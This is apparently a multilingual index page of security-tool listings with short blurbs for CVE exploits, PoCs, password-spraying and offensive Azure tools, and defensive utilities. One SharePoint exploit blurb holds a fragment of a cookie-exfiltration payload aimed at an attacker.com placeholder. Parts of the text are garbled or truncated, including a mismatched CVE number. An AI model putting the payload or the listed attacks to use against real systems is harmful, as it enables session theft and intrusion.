BluetoothDucky

BluetoothDucky CVE-2023-45866 - BluetoothDucky 実装（DuckyScript を使用） 認証なしの Bluetooth リモートコード実行。（簡単に言うと、デバイスとペアリングせずにキーボードコマンドを実行する） これは marcnewlin によって発見された CVE の実装です https://github.com/marcnewlin/himynameiskeyboard 将来の使用に備えて hid.py ファイルをできるだけ変更しないように、duckyconvert.py を作成しました。...

fail2ban

root@kitploit: / | | | | / | | |/ /| ' / | ' \ || ,||/|./,|||| v1.1.0.dev1 20??/??/?? Fail2Ban: ban hosts that cause multiple authentication errors Fail2Ban scans log files like /var/log/auth.log and bans IP addresses conducting too many failed login attempts. It does this by updating system...

ServiceNow-CVE-2025-11449-CVE-2025-11450-Mitigation-Script

ServiceNow CVE-2025-11449 与 CVE-2025-11450 修复脚本 概述 该脚本可自动检测并修复 ServiceNow UI Macros 中的 CVE-2025-11449 和 CVE-2025-11450 安全漏洞。如果用户控制的 sysparm 参数未得到正确清理，这些漏洞可能通过特制链接在用户浏览器中执行任意代码。 受影响的 UI Macros $pwdverifyemail $pwdverifypersonaldataui 脚本功能 该脚本执行两项关键安全修复： 1. 块外部：添加正确的编码 将易受攻击的模式替换为正确编码的版本： $sysparm ...

pentest-tools

pentest-tools A collection of custom security tools for quick needs. Important note ‼ A big clean occured in 2022-11 ‼ Some useless/not working scripts have been archived and some others have been moved to their own repository to get more visibility, feel free to check them: apk-analyzer...

CVE-2026-32201-exploit

概要 CVE-2026-32201 用の Python エクスプロイト - Microsoft SharePoint Server における不適切な入力検証により、認証されていないネットワークスプーフィングが可能になります C:L/I:L。 影響を受けるバージョン: SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 出力例: root@kitploit...

ncentral-compromise-ioc-triage — Updated!

N-central Compromise IoC Triage Read-only defensive hunting toolkit for post-exploitation artifacts associated with N-able N-central authentication bypass vulnerabilities CVE-2026-18556 and CVE-2026-18577. The PowerShell endpoint scanner flags indicators published by N-able and Huntress; it never...

CVE-2025-4517-Python-tarfile-filter-data-Bypass-PoC

CVE-2025-4517 — Python tarfile filter="data" 우회 PoC Python tarfile 모듈의 경로 탐색 취약점으로, 버전 3.8.0부터 3.13.1까지 영향을 미칩니다. 안전하지 않은 추출을 방지하기 위해 설계된 filter="data" 샌드박스는 PATHMAX4096바이트를 초과하는 경로를 조작하여 우회할 수 있습니다. 이 경우 os.path.realpath가 심볼릭 링크 확인을 조용히 중단합니다. 보안 검사는 안전해 보이는 경로를 보는 반면, 커널은 실제 경로를 확인하므로 추출 디렉터리 외...

frida-snippets

& 출력 예제도 포함 목차 네이티브 C/C++ 모듈 로드 일회성 워치포인트 소켓 활동 open 인터셉트 셸 명령 실행 모듈 목록 SQLite 쿼리 기록 메서드 인자 기록 전체 모듈 인터셉트 메모리 세그먼트 덤프 메모리 스캔 Stalker Cpp Demangler 조기 후크 Android Binder 트랜잭션 시스템 속성 가져오기 수동으로 등록된 네이티브 심볼 표시 로드된 클래스 나열 클래스 설명 WiFi 끄기 프록시 설정 IMEI 가져오기 io InputStream 후크 Android Toast 띄우기 특정 모듈 로드 대기...

CVE-2020-11651-poc

CVE-2020-11651 および CVE-2020-11652 の PoC エクスプロイト これは、最初の チェックスクリプト に基づく概念実証エクスプロイトです。Salt マスターサーバーが 必要な修正を含むリリース に正常に更新されたことを確認するために使用します。 F-Secure Labs の調査と報告に感謝します。 現在、このスクリプトはマスターと接続されているすべてのミニオン上でファイルシステムへのアクセスやコマンドのスケジュールに使用できます。これらの力を賢く使いましょう！ 使い方 デフォルトの操作（引数なし）は、指定されたマスターのルートキーを取得します。...

slicer

Slicer A tool to automate the recon process on an APK file. Slicer accepts a path to an extracted APK file and then returns all the activities, receivers, and services which are exported and have null permissions and can be externally provoked. Note : The APK has to be extracted via jadx or...

analyzer

This project automates the daily tasks of Threat Intelligence Analyzer role internally without external resources' interaction. It analyzes, visualizes and structures sensitive files Malware or data by extracting features, artifacts and IoC using different modules. The output of those modules can...

hakrawler

Hakrawler Fast golang web crawler for gathering URLs and JavaScript file locations. This is basically a simple implementation of the awesome Gocolly library. Example usages Single URL: root@kitploit: echo https://google.com | hakrawler Multiple URLs: root@kitploit: cat urls.txt | hakrawler Timeou...

pi-hole

Network-wide ad blocking via your own Linux hardware The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content without installing any client-side software. Easy-to-install : our dialogs walk you through the simple installation process in less than ten minutes Resolute :...

offensive-azure

Collection of offensive tools targeting Microsoft Azure written in Python to be platform agnostic. The current list of tools can be found below with a brief description of their functionality. ./DeviceCode/devicecodeeasymode.py Generates a code to be entered by the target user Can be used for...

Terrminus-CVE-2026-2406

Terminus - CVE-2026-24061 スキャナ & エクスプロイトフレームワーク CVE-2026-24061 Telnet NEWENVIRON 認証バイパスおよび権限昇格脆弱性のためのセキュリティ解析エンジン。 概要 Terminus は、CVE-2026-24061 の認定ペネトレーションテストおよび脆弱性評価のために設計されたプロフェッショナルなセキュリティ調査ツールです。この重大な脆弱性はレガシー Telnet デーモン実装に影響を与え、未認証のリモート攻撃者が認証をバイパスして root レベルのアクセスを取得することを可能にします。 CVE-2026-2406...

detux

Detux: 멀티플랫폼 Linux 샌드박스 소개: Detux는 Linux 악성코드의 트래픽 분석을 수행하고 이를 통해 IOCs를 캡처하기 위해 개발된 샌드박스입니다. QEMU 하이퍼바이저를 사용하여 다양한 CPU 아키텍처용 LinuxDebian를 에뮬레이션합니다. 현재 지원되는 CPU: x86 x86-64 ARM MIPS MIPSEL 지금 Live 버전 사용: http://detux.org 이 릴리스의 내용: 이 Detux 릴리스는 지정된 CPU 아키텍처에서 Linux 바이너리/스크립트를 실행하기 위한 스크립트를 포함합니다...

detux

Detux: The Multiplatform Linux Sandbox Introduction: Detux is a sandbox developed to do traffic analysis of the Linux malwares and capture the IOCs by doing so. QEMU hypervisor is used to emulate Linux Debian for various CPU architectures. The following CPUs are currently supported: x86 x86-64 AR...

CVE-2025-21756

CVE-2025-21756 — エクスプロイトラボ 教育的および許可されたセキュリティ研究目的のみに使用してください。 説明 CVE-2025-21756 は、2025年2月26日に公開された Linux カーネルの vsock 仮想ソケット サブシステムにおける use-after-free UAF 脆弱性です。影響を受ける Linux システム上で、ローカルの攻撃者が root への権限昇格 を可能にします。 CVSS v3.1: 7.8 重要 ベクトル: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE: CWE-416 解放後使用...

adfsbrute

adfsbrute A script to test credentials against Active Directory Federation Services ADFS, calculating the ADFS url of an organization and allowing password spraying or bruteforce attacks. The main idea is carrying out password spraying attacks with a random and high delay between each test and...

r00kie-kr00kie

r00kie-kr00kie Disclaimer This is a PoC exploit for the CVE-2019-15126 kr00k vulnerability. This project is intended for educational purposes only and cannot be used for law violation or personal gain. The author of this project is not responsible for any possible harm caused by the materials...